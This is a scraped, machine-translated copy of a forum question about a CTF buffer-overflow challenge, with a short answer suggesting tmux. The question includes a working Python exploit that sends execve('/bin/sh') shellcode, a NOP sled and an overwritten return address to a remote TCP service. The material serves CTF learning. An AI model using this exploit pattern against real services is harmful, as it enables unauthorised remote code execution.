简体   繁体   English

缓冲区溢出漏洞利用 TCP 不会保持外壳打开

[英]Buffer Overflow Exploit over using TCP won't keep shell open

I have crafted a buffer overflow exploit for a remote machine for this CTF.我为这个 CTF 的远程机器制作了一个缓冲区溢出漏洞利用。 The challenge prints out an address, which you then have to use in order to know where your shellcode is being stored.挑战打印出一个地址,然后您必须使用该地址才能知道您的 shellcode 存储在哪里。 Attached is my current exploit code:附上我当前的漏洞利用代码:

if len(sys.argv) != 3:
    print "Usage: %s host port" % (sys.argv[0])
    sys.exit(0)

s = socket.create_connection([sys.argv[1], int(sys.argv[2])])
recieved = s.recv(4096)
print(recieved)
#send 10 bytes of data
s.send("9999\n")
time.sleep(.2)
raw_input("EXPLOIT ?? ")

print s.recv(4096)

sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" 
pad = "\x90" * 251
IP = struct.pack("I",literal_eval(recieved[13:23]))
print("ADDR: ", recieved[13:23])
s.send(sh + pad + IP)

Essentially first I am creating the connection, then I am sending an input that directs the program to where it needs to go in order for the exploit to be possible (not really relevant for this question)基本上首先我创建连接,然后我发送一个输入,将程序引导到它需要去的地方,以便可以利用(与这个问题无关)

Next I create the exploit itself接下来我创建漏洞利用本身

The basic premise is:基本前提是:

shellcode + padding + eip

The eip address comes from what is given to my by the output of the program (which is what I am parsing in the IP variable) eip 地址来自程序输出给我的地址(这是我在 IP 变量中解析的)

That address is the beginning of the buffer, which is where my shellcode starts, and thus where I want to jump to.该地址是缓冲区的开始,这是我的 shellcode 开始的地方,也是我想要跳转到的地方。

I am running the binary using socat so that it is identical to the challenge hosted on the CTF's servers.我正在使用 socat 运行二进制文件,以便它与托管在 CTF 服务器上的挑战相同。 I attach to the process using GDB and then run my exploit.我使用 GDB 附加到该进程,然后运行我的漏洞利用程序。 It succeeds but gives this output:它成功了,但给出了这个输出:

process 2422 is executing new program: /usr/bin/dash
[Inferior 1 (process 2422) exited normally]
(gdb) 

and my connection to the service is terminated.并且我与该服务的连接已终止。

If I was running this with a local binary, I would use (python file.py ; cat - ;) |如果我使用本地二进制文件运行它,我会使用 (python file.py ; cat - ;) | ./program to keep the stream open, but that is not an option since I need what the program outputs and have to do it remotely. ./program 保持流打开,但这不是一个选项,因为我需要程序输出的内容并且必须远程执行。 I have tried using Telnet as well, but then the program just hangs and nothing happens.我也尝试过使用 Telnet,但随后程序就挂了,什么也没发生。

通过 tmux 运行漏洞利用脚本对我有用。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM